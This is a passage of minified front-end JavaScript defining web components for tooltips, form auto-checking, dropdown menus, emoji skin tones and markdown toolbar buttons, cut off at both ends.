AbortController,"f");const{signal:r}=U(this,K,"f");this.addEventListener("mouseleave",this,{signal:r}),this.control.addEventListener("mouseenter",this,{signal:r}),this.control.addEventListener("mouseleave",this,{signal:r}),this.control.addEventListener("focus",this,{signal:r}),this.control.addEventListener("blur",this,{signal:r}),this.ownerDocument.addEventListener("keydown",this,{signal:r}),U(this,G,"m",Q).call(this)}disconnectedCallback(){var e;(e=U(this,K,"f"))===null||e===void 0||e.abort()}handleEvent(e){!this.control||((e.type==="mouseenter"||e.type==="focus")&&this.hidden?this.hidden=!1:e.type==="blur"?this.hidden=!0:e.type==="mouseleave"&&e.relatedTarget!==this.control&&e.relatedTarget!==this?this.hidden=!0:e.type==="keydown"&&e.key==="Escape"&&!this.hidden&&(this.hidden=!0))}attributeChangedCallback(e){if(e==="id"||e==="data-type"){if(!this.id||!this.control)return;if(this.type==="label")this.control.setAttribute("aria-labelledby",this.id);else{let r=this.control.getAttribute("aria-describedby");r?r=`${r} ${this.id}`:r=this.id,this.control.setAttribute("aria-describedby",r)}}else if(this.isConnected&&e==="hidden")U(this,G,"m",Q).call(this);else if(e==="data-direction"){this.classList.remove(...lt);const r=this.direction;r==="n"?(O(this,D,"center","f"),O(this,z,"outside-top","f")):r==="ne"?(O(this,D,"start","f"),O(this,z,"outside-top","f")):r==="e"?(O(this,D,"center","f"),O(this,z,"outside-right","f")):r==="se"?(O(this,D,"start","f"),O(this,z,"outside-bottom","f")):r==="s"?(O(this,D,"center","f"),O(this,z,"outside-bottom","f")):r==="sw"?(O(this,D,"end","f"),O(this,z,"outside-bottom","f")):r==="w"?(O(this,D,"center","f"),O(this,z,"outside-left","f")):r==="nw"&&(O(this,D,"end","f"),O(this,z,"outside-top","f"))}}}c(l,"ToolTipElement"),K=new WeakMap,D=new WeakMap,z=new WeakMap,et=new WeakMap,G=new WeakSet,Q=c(function(){if(this.hidden)this.classList.remove(nt,...lt);else{this.classList.add(nt);for(const e of this.ownerDocument.querySelectorAll(this.tagName))e!==this&&(e.hidden=!0);U(this,G,"m",st).call(this)}},"_ToolTipElement_update"),st=c(function(){if(!this.control||!U(this,et,"f")||this.hidden)return;const e=10;this.style.left="0px";const r=(0,L.N)(this,this.control,{side:U(this,z,"f"),align:U(this,D,"f"),anchorOffset:e}),p=r.anchorSide,b=r.anchorAlign;this.style.top=`${r.top}px`,this.style.left=`${r.left}px`;let w="s";p==="outside-left"?w="w":p==="outside-right"?w="e":p==="outside-top"?b==="center"?w="n":b==="start"?w="ne":w="nw":b==="center"?w="s":b==="start"?w="se":w="sw",this.classList.add(`tooltip-${w}`)},"_ToolTipElement_updatePosition"),l.observedAttributes=["data-type","data-direction","id","hidden"],window.customElements.get("tool-tip")||(window.ToolTipElement=l,window.customElements.define("tool-tip",l))},38257:()=>{function j(k,m=0,{start:v=!0,middle:d=!0,once:t=!1}={}){var n=0,a,h=!1,g=c(function y(...T){if(!h){var u=Date.now()-n;n=Date.now(),v?(v=!1,k(...T),t&&y.cancel()):(d&&ua=g,"setValidity");m.dispatchEvent(new CustomEvent("auto-check-start",{bubbles:!0,detail:{setValidity:h}})),v.required&&m.setCustomValidity(a)}c(_,"setLoadingState");function W(){return"AbortController"in window?new AbortController:{signal:null,abort(){}}}c(W,"makeAbortController");async function S(k,m,v){try{const d=await fetch(m,v);return k.dispatchEvent(new CustomEvent("load")),k.dispatchEvent(new CustomEvent("loadend")),d}catch(d){throw d.name!=="AbortError"&&(k.dispatchEvent(new CustomEvent("error")),k.dispatchEvent(new CustomEvent("loadend"))),d}}c(S,"fetchWithNetworkEvents");async function B(k){const m=k.input;if(!m)return;const v=k.src,d=k.csrf,t=I.get(k);if(!v||!d||!t){k.required&&m.setCustomValidity("");return}if(!m.value.trim()){k.required&&m.setCustomValidity("");return}const n=new FormData;n.append("authenticity_token",d),n.append("value",m.value),m.dispatchEvent(new CustomEvent("auto-check-send",{bubbles:!0,detail:{body:n}})),t.controller?t.controller.abort():k.dispatchEvent(new CustomEvent("loadstart")),t.controller=W();try{const a=await S(k,v,{credentials:"same-origin",signal:t.controller.signal,method:"POST",body:n});a.ok?H(a,m,k.required):M(a,m,k.required),t.controller=null,m.dispatchEvent(new CustomEvent("auto-check-complete",{bubbles:!0}))}catch(a){a.name!=="AbortError"&&(t.controller=null,m.dispatchEvent(new CustomEvent("auto-check-complete",{bubbles:!0})))}}c(B,"check");function H(k,m,v){v&&m.setCustomValidity(""),m.dispatchEvent(new CustomEvent("auto-check-success",{bubbles:!0,detail:{response:k.clone()}}))}c(H,"processSuccess");function M(k,m,v){let d="Validation failed";const t=c(n=>d=n,"setValidity");m.dispatchEvent(new CustomEvent("auto-check-error",{bubbles:!0,detail:{response:k.clone(),setValidity:t}})),v&&m.setCustomValidity(d)}c(M,"processFailure"),window.customElements.get("auto-check")||(window.AutoCheckElement=x,window.customElements.define("auto-check",x));var R=null},11095:()=>{class j extends HTMLElement{get preload(){return this.hasAttribute("preload")}set preload(s){s?this.setAttribute("preload",""):this.removeAttribute("preload")}get src(){return this.getAttribute("src")||""}set src(s){this.setAttribute("src",s)}connectedCallback(){this.hasAttribute("role")||this.setAttribute("role","menu");const s=this.parentElement;if(!s)return;const i=s.querySelector("summary");i&&(i.setAttribute("aria-haspopup","menu"),i.hasAttribute("role")||i.setAttribute("role","button"));const f=[x(s,"compositionstart",E=>y(this,E)),x(s,"compositionend",E=>y(this,E)),x(s,"click",E=>k(s,E)),x(s,"change",E=>k(s,E)),x(s,"keydown",E=>d(s,this,E)),x(s,"toggle",()=>_(s,this),{once:!0}),x(s,"toggle",()=>S(s)),this.preload?x(s,"mouseover",()=>_(s,this),{once:!0}):I,...W(s)];P.set(this,{subscriptions:f,loaded:!1,isComposing:!1})}disconnectedCallback(){const s=P.get(this);if(!!s){P.delete(this);for(const i of s.subscriptions)i.unsubscribe()}}}c(j,"DetailsMenuElement");const P=new WeakMap,I={unsubscribe(){}};function x(u,s,i,f=!1){return u.addEventListener(s,i,f),{unsubscribe:()=>{u.removeEventListener(s,i,f)}}}c(x,"fromEvent");function _(u,s){const i=s.getAttribute("src");if(!i)return;const f=P.get(s);if(!f||f.loaded)return;f.loaded=!0;const E=s.querySelector("include-fragment");E&&!E.hasAttribute("src")&&(E.addEventListener("loadend",()=>B(u)),E.setAttribute("src",i))}c(_,"loadFragment");function W(u){let s=!1;const i=c(()=>s=!0,"onmousedown"),f=c(()=>s=!1,"onkeydown"),E=c(()=>{!u.hasAttribute("open")||B(u)||s||H(u)},"ontoggle");return[x(u,"mousedown",i),x(u,"keydown",f),x(u,"toggle",E)]}c(W,"focusOnOpen");function S(u){if(!!u.hasAttribute("open"))for(const s of document.querySelectorAll("details[open] > details-menu")){const i=s.closest("details");i&&i!==u&&!i.contains(u)&&i.removeAttribute("open")}}c(S,"closeCurrentMenu");function B(u){if(!u.hasAttribute("open"))return!1;const s=u.querySelector("details-menu [autofocus]");return s?(s.focus(),!0):!1}c(B,"autofocus");function H(u){const s=document.activeElement;if(s&&t(s)&&u.contains(s))return;const i=M(u,!0);i&&i.focus()}c(H,"focusFirstItem");function M(u,s){const i=Array.from(u.querySelectorAll('[role^="menuitem"]:not([hidden]):not([disabled]):not([aria-disabled="true"])')),f=document.activeElement,E=f instanceof HTMLElement?i.indexOf(f):-1,L=s?i[E+1]:i[E-1],O=s?i[0]:i[i.length-1];return L||O}c(M,"sibling");const R=navigator.userAgent.match(/Macintosh/);function k(u,s){const i=s.target;if(i instanceof Element&&i.closest("details")===u){if(s.type==="click"){const f=i.closest('[role="menuitem"], [role="menuitemradio"]');if(!f)return;const E=f.querySelector("input");if(f.tagName==="LABEL"&&i===E)return;f.tagName==="LABEL"&&E&&!E.checked||v(f,u)}else if(s.type==="change"){const f=i.closest('[role="menuitemradio"], [role="menuitemcheckbox"]');f&&v(f,u)}}}c(k,"shouldCommit");function m(u,s){for(const i of s.querySelectorAll('[role="menuitemradio"], [role="menuitemcheckbox"]')){const f=i.querySelector('input[type="radio"], input[type="checkbox"]');let E=(i===u).toString();f instanceof HTMLInputElement&&(E=f.indeterminate?"mixed":f.checked.toString()),i.setAttribute("aria-checked",E)}}c(m,"updateChecked");function v(u,s){if(u.hasAttribute("disabled")||u.getAttribute("aria-disabled")==="true")return;const i=u.closest("details-menu");!i||!i.dispatchEvent(new CustomEvent("details-menu-select",{cancelable:!0,detail:{relatedTarget:u}}))||(a(u,s),m(u,s),u.getAttribute("role")!=="menuitemcheckbox"&&n(s),i.dispatchEvent(new CustomEvent("details-menu-selected",{detail:{relatedTarget:u}})))}c(v,"commit");function d(u,s,i){if(!(i instanceof KeyboardEvent)||u.querySelector("details[open]"))return;const f=P.get(s);if(!f||f.isComposing)return;const E=i.target instanceof Element&&i.target.tagName==="SUMMARY";switch(i.key){case"Escape":u.hasAttribute("open")&&(n(u),i.preventDefault(),i.stopPropagation());break;case"ArrowDown":{E&&!u.hasAttribute("open")&&u.setAttribute("open","");const L=M(u,!0);L&&L.focus(),i.preventDefault()}break;case"ArrowUp":{E&&!u.hasAttribute("open")&&u.setAttribute("open","");const L=M(u,!1);L&&L.focus(),i.preventDefault()}break;case"n":if(R&&i.ctrlKey){const L=M(u,!0);L&&L.focus(),i.preventDefault()}break;case"p":if(R&&i.ctrlKey){const L=M(u,!1);L&&L.focus(),i.preventDefault()}break;case" ":case"Enter":{const L=document.activeElement;L instanceof HTMLElement&&t(L)&&L.closest("details")===u&&(i.preventDefault(),i.stopPropagation(),L.click())}break}}c(d,"keydown");function t(u){const s=u.getAttribute("role");return s==="menuitem"||s==="menuitemcheckbox"||s==="menuitemradio"}c(t,"isMenuItem");function n(u){if(!u.hasAttribute("open"))return;u.removeAttribute("open");const i=u.querySelector("summary");i&&i.focus()}c(n,"close");function a(u,s){const i=s.querySelector("[data-menu-button]");if(!i)return;const f=h(u);if(f)i.textContent=f;else{const E=g(u);E&&(i.innerHTML=E)}}c(a,"updateLabel");function h(u){if(!u)return null;const s=u.hasAttribute("data-menu-button-text")?u:u.querySelector("[data-menu-button-text]");return s?s.getAttribute("data-menu-button-text")||s.textContent:null}c(h,"labelText");function g(u){if(!u)return null;const s=u.hasAttribute("data-menu-button-contents")?u:u.querySelector("[data-menu-button-contents]");return s?s.innerHTML:null}c(g,"labelHTML");function y(u,s){const i=P.get(u);!i||(i.isComposing=s.type==="compositionstart")}c(y,"trackComposition");var T=null;window.customElements.get("details-menu")||(window.DetailsMenuElement=j,window.customElements.define("details-menu",j))},73921:()=>{function j(){const t=/\bWindows NT 6.1\b/.test(navigator.userAgent),n=/\bWindows NT 6.2\b/.test(navigator.userAgent),a=/\bWindows NT 6.3\b/.test(navigator.userAgent),h=/\bFreeBSD\b/.test(navigator.userAgent),g=/\bLinux\b/.test(navigator.userAgent)&&!/\bAndroid\b/.test(navigator.userAgent);return!(t||n||a||g||h)}c(j,"isEmojiSupported");const P=new Set(["\u{1F44B}","\u{1F91A}","\u{1F590}\uFE0F","\u270B","\u{1F596}","\u{1F44C}","\u{1F90F}","\u270C\uFE0F","\u{1F91E}","\u{1F91F}","\u{1F918}","\u{1F919}","\u{1F448}","\u{1F449}","\u{1F446}","\u{1F595}","\u{1F447}","\u261D\uFE0F","\u{1F44D}","\u{1F44E}","\u270A","\u{1F44A}","\u{1F91B}","\u{1F91C}","\u{1F44F}","\u{1F64C}","\u{1F450}","\u{1F932}","\u{1F64F}","\u270D\uFE0F","\u{1F485}","\u{1F933}","\u{1F4AA}","\u{1F9B5}","\u{1F9B6}","\u{1F442}","\u{1F9BB}","\u{1F443}","\u{1F476}","\u{1F9D2}","\u{1F466}","\u{1F467}","\u{1F9D1}","\u{1F471}","\u{1F468}","\u{1F9D4}","\u{1F471}\u200D\u2642\uFE0F","\u{1F468}\u200D\u{1F9B0}","\u{1F468}\u200D\u{1F9B1}","\u{1F468}\u200D\u{1F9B3}","\u{1F468}\u200D\u{1F9B2}","\u{1F469}","\u{1F471}\u200D\u2640\uFE0F","\u{1F469}\u200D\u{1F9B0}","\u{1F469}\u200D\u{1F9B1}","\u{1F469}\u200D\u{1F9B3}","\u{1F469}\u200D\u{1F9B2}","\u{1F9D3}","\u{1F474}","\u{1F475}","\u{1F64D}","\u{1F64D}\u200D\u2642\uFE0F","\u{1F64D}\u200D\u2640\uFE0F","\u{1F64E}","\u{1F64E}\u200D\u2642\uFE0F","\u{1F64E}\u200D\u2640\uFE0F","\u{1F645}","\u{1F645}\u200D\u2642\uFE0F","\u{1F645}\u200D\u2640\uFE0F","\u{1F646}","\u{1F646}\u200D\u2642\uFE0F","\u{1F646}\u200D\u2640\uFE0F","\u{1F481}","\u{1F481}\u200D\u2642\uFE0F","\u{1F481}\u200D\u2640\uFE0F","\u{1F64B}","\u{1F64B}\u200D\u2642\uFE0F","\u{1F64B}\u200D\u2640\uFE0F","\u{1F9CF}","\u{1F9CF}\u200D\u2642\uFE0F","\u{1F9CF}\u200D\u2640\uFE0F","\u{1F647}","\u{1F647}\u200D\u2642\uFE0F","\u{1F647}\u200D\u2640\uFE0F","\u{1F926}","\u{1F926}\u200D\u2642\uFE0F","\u{1F926}\u200D\u2640\uFE0F","\u{1F937}","\u{1F937}\u200D\u2642\uFE0F","\u{1F937}\u200D\u2640\uFE0F","\u{1F468}\u200D\u2695\uFE0F","\u{1F469}\u200D\u2695\uFE0F","\u{1F468}\u200D\u{1F393}","\u{1F469}\u200D\u{1F393}","\u{1F468}\u200D\u{1F3EB}","\u{1F469}\u200D\u{1F3EB}","\u{1F468}\u200D\u2696\uFE0F","\u{1F469}\u200D\u2696\uFE0F","\u{1F468}\u200D\u{1F33E}","\u{1F469}\u200D\u{1F33E}","\u{1F468}\u200D\u{1F373}","\u{1F469}\u200D\u{1F373}","\u{1F468}\u200D\u{1F527}","\u{1F469}\u200D\u{1F527}","\u{1F468}\u200D\u{1F3ED}","\u{1F469}\u200D\u{1F3ED}","\u{1F468}\u200D\u{1F4BC}","\u{1F469}\u200D\u{1F4BC}","\u{1F468}\u200D\u{1F52C}","\u{1F469}\u200D\u{1F52C}","\u{1F468}\u200D\u{1F4BB}","\u{1F469}\u200D\u{1F4BB}","\u{1F468}\u200D\u{1F3A4}","\u{1F469}\u200D\u{1F3A4}","\u{1F468}\u200D\u{1F3A8}","\u{1F469}\u200D\u{1F3A8}","\u{1F468}\u200D\u2708\uFE0F","\u{1F469}\u200D\u2708\uFE0F","\u{1F468}\u200D\u{1F680}","\u{1F469}\u200D\u{1F680}","\u{1F468}\u200D\u{1F692}","\u{1F469}\u200D\u{1F692}","\u{1F46E}","\u{1F46E}\u200D\u2642\uFE0F","\u{1F46E}\u200D\u2640\uFE0F","\u{1F575}\uFE0F","\u{1F575}\uFE0F\u200D\u2642\uFE0F","\u{1F575}\uFE0F\u200D\u2640\uFE0F","\u{1F482}","\u{1F482}\u200D\u2642\uFE0F","\u{1F482}\u200D\u2640\uFE0F","\u{1F477}","\u{1F477}\u200D\u2642\uFE0F","\u{1F477}\u200D\u2640\uFE0F","\u{1F934}","\u{1F478}","\u{1F473}","\u{1F473}\u200D\u2642\uFE0F","\u{1F473}\u200D\u2640\uFE0F","\u{1F472}","\u{1F9D5}","\u{1F935}","\u{1F470}","\u{1F930}","\u{1F931}","\u{1F47C}","\u{1F385}","\u{1F936}","\u{1F9B8}","\u{1F9B8}\u200D\u2642\uFE0F","\u{1F9B8}\u200D\u2640\uFE0F","\u{1F9B9}","\u{1F9B9}\u200D\u2642\uFE0F","\u{1F9B9}\u200D\u2640\uFE0F","\u{1F9D9}","\u{1F9D9}\u200D\u2642\uFE0F","\u{1F9D9}\u200D\u2640\uFE0F","\u{1F9DA}","\u{1F9DA}\u200D\u2642\uFE0F","\u{1F9DA}\u200D\u2640\uFE0F","\u{1F9DB}","\u{1F9DB}\u200D\u2642\uFE0F","\u{1F9DB}\u200D\u2640\uFE0F","\u{1F9DC}","\u{1F9DC}\u200D\u2642\uFE0F","\u{1F9DC}\u200D\u2640\uFE0F","\u{1F9DD}","\u{1F9DD}\u200D\u2642\uFE0F","\u{1F9DD}\u200D\u2640\uFE0F","\u{1F486}","\u{1F486}\u200D\u2642\uFE0F","\u{1F486}\u200D\u2640\uFE0F","\u{1F487}","\u{1F487}\u200D\u2642\uFE0F","\u{1F487}\u200D\u2640\uFE0F","\u{1F6B6}","\u{1F6B6}\u200D\u2642\uFE0F","\u{1F6B6}\u200D\u2640\uFE0F","\u{1F9CD}","\u{1F9CD}\u200D\u2642\uFE0F","\u{1F9CD}\u200D\u2640\uFE0F","\u{1F9CE}","\u{1F9CE}\u200D\u2642\uFE0F","\u{1F9CE}\u200D\u2640\uFE0F","\u{1F468}\u200D\u{1F9AF}","\u{1F469}\u200D\u{1F9AF}","\u{1F468}\u200D\u{1F9BC}","\u{1F469}\u200D\u{1F9BC}","\u{1F468}\u200D\u{1F9BD}","\u{1F469}\u200D\u{1F9BD}","\u{1F3C3}","\u{1F3C3}\u200D\u2642\uFE0F","\u{1F3C3}\u200D\u2640\uFE0F","\u{1F483}","\u{1F57A}","\u{1F574}\uFE0F","\u{1F9D6}","\u{1F9D6}\u200D\u2642\uFE0F","\u{1F9D6}\u200D\u2640\uFE0F","\u{1F9D7}","\u{1F9D7}\u200D\u2642\uFE0F","\u{1F9D7}\u200D\u2640\uFE0F","\u{1F3C7}","\u{1F3C2}","\u{1F3CC}\uFE0F","\u{1F3CC}\uFE0F\u200D\u2642\uFE0F","\u{1F3CC}\uFE0F\u200D\u2640\uFE0F","\u{1F3C4}","\u{1F3C4}\u200D\u2642\uFE0F","\u{1F3C4}\u200D\u2640\uFE0F","\u{1F6A3}","\u{1F6A3}\u200D\u2642\uFE0F","\u{1F6A3}\u200D\u2640\uFE0F","\u{1F3CA}","\u{1F3CA}\u200D\u2642\uFE0F","\u{1F3CA}\u200D\u2640\uFE0F","\u26F9\uFE0F","\u26F9\uFE0F\u200D\u2642\uFE0F","\u26F9\uFE0F\u200D\u2640\uFE0F","\u{1F3CB}\uFE0F","\u{1F3CB}\uFE0F\u200D\u2642\uFE0F","\u{1F3CB}\uFE0F\u200D\u2640\uFE0F","\u{1F6B4}","\u{1F6B4}\u200D\u2642\uFE0F","\u{1F6B4}\u200D\u2640\uFE0F","\u{1F6B5}","\u{1F6B5}\u200D\u2642\uFE0F","\u{1F6B5}\u200D\u2640\uFE0F","\u{1F938}","\u{1F938}\u200D\u2642\uFE0F","\u{1F938}\u200D\u2640\uFE0F","\u{1F93D}","\u{1F93D}\u200D\u2642\uFE0F","\u{1F93D}\u200D\u2640\uFE0F","\u{1F93E}","\u{1F93E}\u200D\u2642\uFE0F","\u{1F93E}\u200D\u2640\uFE0F","\u{1F939}","\u{1F939}\u200D\u2642\uFE0F","\u{1F939}\u200D\u2640\uFE0F","\u{1F9D8}","\u{1F9D8}\u200D\u2642\uFE0F","\u{1F9D8}\u200D\u2640\uFE0F","\u{1F6C0}","\u{1F6CC}","\u{1F9D1}\u200D\u{1F91D}\u200D\u{1F9D1}","\u{1F46D}","\u{1F46B}","\u{1F46C}"]);function I(t){return P.has(t)}c(I,"isModifiable");const x="\u200D",_=65039;function W(t,n){const a=B(t);if(!I(a))return t;const h=R(n);return h?a.split(x).map(g=>I(g)?H(g,h):g).join(x):t}c(W,"applyTone");function S(t,n){const a=B(t);if(!I(a))return t;const h=n.map(g=>R(g));return a.split(x).map(g=>{if(!I(g))return g;const y=h.shift();return y?H(g,y):g}).join(x)}c(S,"applyTones");function B(t){return[...t].filter(n=>!M(n.codePointAt(0))).join("")}c(B,"removeTone");function H(t,n){const a=[...t].map(h=>h.codePointAt(0));return a[1]&&(M(a[1])||a[1]===_)?a[1]=n:a.splice(1,0,n),String.fromCodePoint(...a)}c(H,"tint");function M(t){return t>=127995&&t<=127999}c(M,"isTone");function R(t){switch(t){case 1:return 127995;case 2:return 127996;case 3:return 127997;case 4:return 127998;case 5:return 127999;default:return null}}c(R,"toneModifier");class k extends HTMLElement{get image(){return this.firstElementChild instanceof HTMLImageElement?this.firstElementChild:null}get tone(){return(this.getAttribute("tone")||"").split(" ").map(n=>{const a=parseInt(n,10);return a>=0&&a<=5?a:0}).join(" ")}set tone(n){this.setAttribute("tone",n)}connectedCallback(){if(this.image===null&&!j()){const n=this.getAttribute("fallback-src");if(n){this.textContent="";const a=v(this);a.src=n,this.appendChild(a)}}this.hasAttribute("tone")&&m(this)}static get observedAttributes(){return["tone"]}attributeChangedCallback(n){switch(n){case"tone":m(this);break}}}c(k,"GEmojiElement");function m(t){if(t.image)return;const n=t.tone.split(" ").map(a=>parseInt(a,10));if(n.length===0)t.textContent=B(t.textContent||"");else if(n.length===1){const a=n[0];t.textContent=a===0?B(t.textContent||""):W(t.textContent||"",a)}else t.textContent=S(t.textContent||"",n)}c(m,"updateTone");function v(t){const n=document.createElement("img");return n.className="emoji",n.alt=t.getAttribute("alias")||"",n.height=20,n.width=20,n}c(v,"emojiImage"),window.customElements.get("g-emoji")||(window.GEmojiElement=k,window.customElements.define("g-emoji",k));var d=null},51941:()=>{const j=["[data-md-button]","md-header","md-bold","md-italic","md-quote","md-code","md-link","md-image","md-unordered-list","md-ordered-list","md-task-list","md-mention","md-ref","md-strikethrough"];function P(l){const o=[];for(const e of l.querySelectorAll(j.join(", ")))e.hidden||e.offsetWidth<=0&&e.offsetHeight<=0||e.closest("markdown-toolbar")===l&&o.push(e);return o}c(P,"getButtons");function I(l){return function(o){(o.key===" "||o.key==="Enter")&&(o.preventDefault(),l(o))}}c(I,"keydown");const x=new WeakMap;class _ extends HTMLElement{constructor(){super();const o=c(()=>{const e=x.get(this);!e||it(this,e)},"apply");this.addEventListener("keydown",I(o)),this.addEventListener("click",o)}connectedCallback(){this.hasAttribute("role")||this.setAttribute("role","button")}click(){const o=x.get(this);!o||it(this,o)}}c(_,"MarkdownButtonElement");class W extends _{constructor(){super();const o=parseInt(this.getAttribute("level")||"3",10);if(o<1||o>6)return;const e=`${"#".repeat(o)} `;x.set(this,{prefix:e})}}c(W,"MarkdownHeaderButtonElement"),window.customElements.get("md-header")||(window.MarkdownHeaderButtonElement=W,window.customElements.define("md-header",W));class S extends _{constructor(){super();x.set(this,{prefix:"**",suffix:"**",trimFirst:!0})}}c(S,"MarkdownBoldButtonElement"),window.customElements.get("md-bold")||(window.MarkdownBoldButtonElement=S,window.customElements.define("md-bold",S));class B extends _{constructor(){super();x.set(this,{prefix:"_",suffix:"_",trimFirst:!0})}}c(B,"MarkdownItalicButtonElement"),window.customElements.get("md-italic")||(window.MarkdownItalicButtonElement=B,window.customElements.define("md-italic",B));class H extends _{constructor(){super();x.set(this,{prefix:"> ",multiline:!0,surroundWithNewlines:!0})}}c(H,"MarkdownQuoteButtonElement"),window.customElements.get("md-quote")||(window.MarkdownQuoteButtonElement=H,window.customElements.define("md-quote",H));class M extends _{constructor(){super();x.set(this,{prefix:"`",suffix:"`",blockPrefix:"```",blockSuffix:"```"})}}c(M,"MarkdownCodeButtonElement"),window.customElements.get("md-code")||(window.MarkdownCodeButtonElement=M,window.customElements.define("md-code",M));class R extends _{constructor(){super();x.set(this,{prefix:"[",suffix:"](url)",replaceNext:"url",scanFor:"https?://"})}}c(R,"MarkdownLinkButtonElement"),window.customElements.get("md-link")||(window.MarkdownLinkButtonElement=R,window.customElements.define("md-link",R));class k extends _{constructor(){super();x.set(this,{prefix:"![",suffix:"](url)",replaceNext:"url",scanFor:"https?://"})}}c(k,"MarkdownImageButtonElement"),window.customElements.get("md-image")||(window.MarkdownImageButtonElement=k,window.customElements.define("md-image",k));class m extends _{constructor(){super();x.set(this,{prefix:"- ",multiline:!0,unorderedList:!0})}}c(m,"MarkdownUnorderedListButtonElement"),window.customElements.get("md-unordered-list")||(window.MarkdownUnorderedListButtonElement=m,window.customElements.define("md-unordered-list",m));class v extends _{constructor(){super();x.set(this,{prefix:"1. ",multiline:!0,orderedList:!0})}}c(v,"MarkdownOrderedListButtonElement"),window.customElements.get("md-ordered-list")||(window.MarkdownOrderedListButtonElement=v,window.customElements.define("md-ordered-list",v));class d extends _{constructor(){super();x.set(this,{prefix:"- [ ] ",multiline:!0,surroundWithNewlines:!0})}}c(d,"MarkdownTaskListButtonElement"),window.customElements.get("md-task-list")||(window.MarkdownTaskListButtonElement=d,window.customElements.define("md-task-list",d));class t extends _{constructor(){super();x.set(this,{prefix:"@",prefixSpace:!0})}}c(t,"MarkdownMentionButtonElement"),window.customElements.get("md-mention")||(window.MarkdownMentionButtonElement=t,window.customElements.define("md-mention",t));class n extends _{constructor(){super();x.set(this,{prefix:"#",prefixSpace:!0})}}c(n,"MarkdownRefButtonElement"),window.customElements.get("md-ref")||(window.MarkdownRefButtonElement=n,window.customElements.define("md-ref",n));class a extends _{constructor(){super();x.set(this,{prefix:"~~",suffix:"~~",trimFirst:!0})}}c(a,"MarkdownStrikethroughButtonElement"),window.customElements.get("md-strikethrough")||(window.MarkdownStrikethroughButtonElement=a,window.customElements.define("md-strikethrough",a));class h extends HTMLElement{constructor(){super()}connectedCallback(){this.hasAttribute("role")||this.setAttribute("role","toolbar"),this.addEventListener("keydown",y),this.setAttribute("tabindex","0"),this.addEventListener("focus",g,{once:!0})}disconnectedCallback(){this.removeEventListener("keydown",y)}get field(){const o=this.getAttribute("for");if(!o)return null;const e="getRootNode"in this?this.getRootNode():document;let r;return(e instanceof Document||e instanceof ShadowRoot)&&(r=e.getElementById(o)),r instanceof HTMLTextAreaElement?r:null}}c(h,"MarkdownToolbarElement");function g({target:l}){if(!(l instanceof Element))return;l.removeAttribute("tabindex");let o="0";for(const e of P(l))e.setAttribute("tabindex",o),o==="0"&&(e.focus(),o="-1")}c(g,"onToolbarFocus");function y(l){const o=l.key;if(o!=="ArrowRight"&&o!=="ArrowLeft"&&o!=="Home"&&o!=="End")return;const e=l.currentTarget;if(!(e instanceof HTMLElement))return;const r=P(e),p=r.indexOf(l.target),b=r.length;if(p===-1)return;let w=0;o==="ArrowLeft"&&(w=p-1),o==="ArrowRight"&&(w=p+1),o==="End"&&(w=b-1),w<0&&(w=b-1),w>b-1&&(w=0);for(let A=0;A1}c(T,"isMultipleLines");function u(l,o){return Array(o+1).join(l)}c(u,"repeat");function s(l,o){let e=o;for(;l[e]&&l[e-1]!=null&&!l[e-1].match(/\s/);)e--;return e}c(s,"wordSelectionStart");function i(l,o,e){let r=o;const p=e?/\n/:/\s/;for(;l[r]&&!l[r].match(p);)r++;return r}c(i,"wordSelectionEnd");let f=null;function E(l,{text:o,selectionStart:e,selectionEnd:r}){const p=l.selectionStart,b=l.value.slice(0,p),w=l.value.slice(l.selectionEnd);if(f===null||f===!0){l.contentEditable="true";try{f=document.execCommand("insertText",!1,o)}catch{f=!1}l.contentEditable="false"}if(f&&!l.value.slice(0,l.selectionStart).endsWith(o)&&(f=!1),!f){try{document.execCommand("ms-beginUndoUnit")}catch{}l.value=b+o+w;try{document.execCommand("ms-endUndoUnit")}catch{}l.dispatchEvent(new CustomEvent("input",{bubbles:!0,cancelable:!0}))}e!=null&&r!=null?l.setSelectionRange(e,r):l.setSelectionRange(p,l.selectionEnd)}c(E,"insertText");function L(l,o){const e=l.value.slice(l.selectionStart,l.selectionEnd);let r;o.orderedList||o.unorderedList?r=nt(l,o):o.multiline&&T(e)?r=D(l,o):r=K(l,o),E(l,r)}c(L,"styleSelectedText");function O(l){const o=l.value.split(` +`);let e=0;for(let r=0;r=e&&l.selectionStart=e&&l.selectionEnd0?`${w} +`:p,Y=T(X)&&A.length>0?` +${A}`:b;if($){const V=l.value[l.selectionStart-1];l.selectionStart!==0&&V!=null&&!V.match(/\s/)&&(q=` ${q}`)}X=U(l,q,Y,o.multiline);let F=l.selectionStart,J=l.selectionEnd;const ut=C.length>0&&Y.indexOf(C)>-1&&X.length>0;if(ot){const V=G(l);e=V.newlinesToAppend,r=V.newlinesToPrepend,q=e+p,Y+=r}if(X.startsWith(q)&&X.endsWith(Y)){const V=X.slice(q.length,X.length-Y.length);if(Z===rt){let tt=Z-q.length;tt=Math.max(tt,F),tt=Math.min(tt,F+V.length),F=J=tt}else J=F+V.length;return{text:V,selectionStart:F,selectionEnd:J}}else if(ut)if(N.length>0&&X.match(N)){Y=Y.replace(C,X);const V=q+Y;return F=J=F+q.length,{text:V,selectionStart:F,selectionEnd:J}}else{const V=q+X+Y;return F=F+q.length+X.length+Y.indexOf(C),J=F+C.length,{text:V,selectionStart:F,selectionEnd:J}}else{let V=q+X+Y;F=Z+q.length,J=rt+q.length;const tt=X.match(/^\s*|\s*$/g);if(o.trimFirst&&tt){const ct=tt[0]||"",at=tt[1]||"";V=ct+q+X.trim()+Y+at,F+=ct.length,J-=at.length}return{text:V,selectionStart:F,selectionEnd:J}}}c(K,"blockStyle");function D(l,o){const{prefix:e,suffix:r,surroundWithNewlines:p}=o;let b=l.value.slice(l.selectionStart,l.selectionEnd),w=l.selectionStart,A=l.selectionEnd;const C=b.split(` +`);if(C.every(N=>N.startsWith(e)&&N.endsWith(r)))b=C.map(N=>N.slice(e.length,N.length-r.length)).join(` +`),A=w+b.length;else if(b=C.map(N=>e+N+r).join(` +`),p){const{newlinesToAppend:N,newlinesToPrepend:ot}=G(l);w+=N.length,A=w+b.length,b=N+b+ot}return{text:b,selectionStart:w,selectionEnd:A}}c(D,"multilineStyle");function z(l){const o=l.split(` +`),e=/^\d+\.\s+/,r=o.every(b=>e.test(b));let p=o;return r&&(p=o.map(b=>b.replace(e,""))),{text:p.join(` +`),processed:r}}c(z,"undoOrderedListStyle");function et(l){const o=l.split(` +`),e="- ",r=o.every(b=>b.startsWith(e));let p=o;return r&&(p=o.map(b=>b.slice(e.length,b.length))),{text:p.join(` +`),processed:r}}c(et,"undoUnorderedListStyle");function Q(l,o){return o?"- ":`${l+1}. 